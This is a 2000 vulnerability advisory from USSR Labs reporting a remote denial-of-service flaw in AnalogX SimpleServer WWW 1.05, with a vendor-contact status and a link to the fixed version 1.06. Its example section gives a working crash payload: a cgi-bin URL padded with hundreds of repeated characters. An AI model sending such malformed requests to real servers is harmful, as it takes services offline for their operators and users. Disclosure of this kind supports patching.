Remote DoS attack in AnalogX SimpleServer WWW Version 1.05 Vulnerability

   

 

AnalogX SimpleServer WWW

 


USSR Advisory Code:   USSR-2000045


Release Date:
June 15, 2000


Systems Affected:
AnalogX SimpleServer WWW Version 1.05


THE PROBLEM

The Ussr Labs team has recently discovered a null memory problem in the SimpleServer WWW Version 1.05 

What happens is by preforming an attack with a malformed url information to port 80 it will cause the proccess 
containg the services to stop responding.


SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only.


Example:
Type in you browser one malformed url like this:


http://serverip/cgi-bin/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa

and the process containg the service crash


Vendor Status:  
Informed!, Contacted!.


Fix:
You can download the version 1.06 here:

http://www.analogx.com/files/sswwwi.exe


Vendor   Url: http://www.analogx.com
Program  Url: http://www.analogx.com/contents/download/network/sswww.htm


Related Links:

Underground Security Systems Research
http://www.ussrback.com


Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip.

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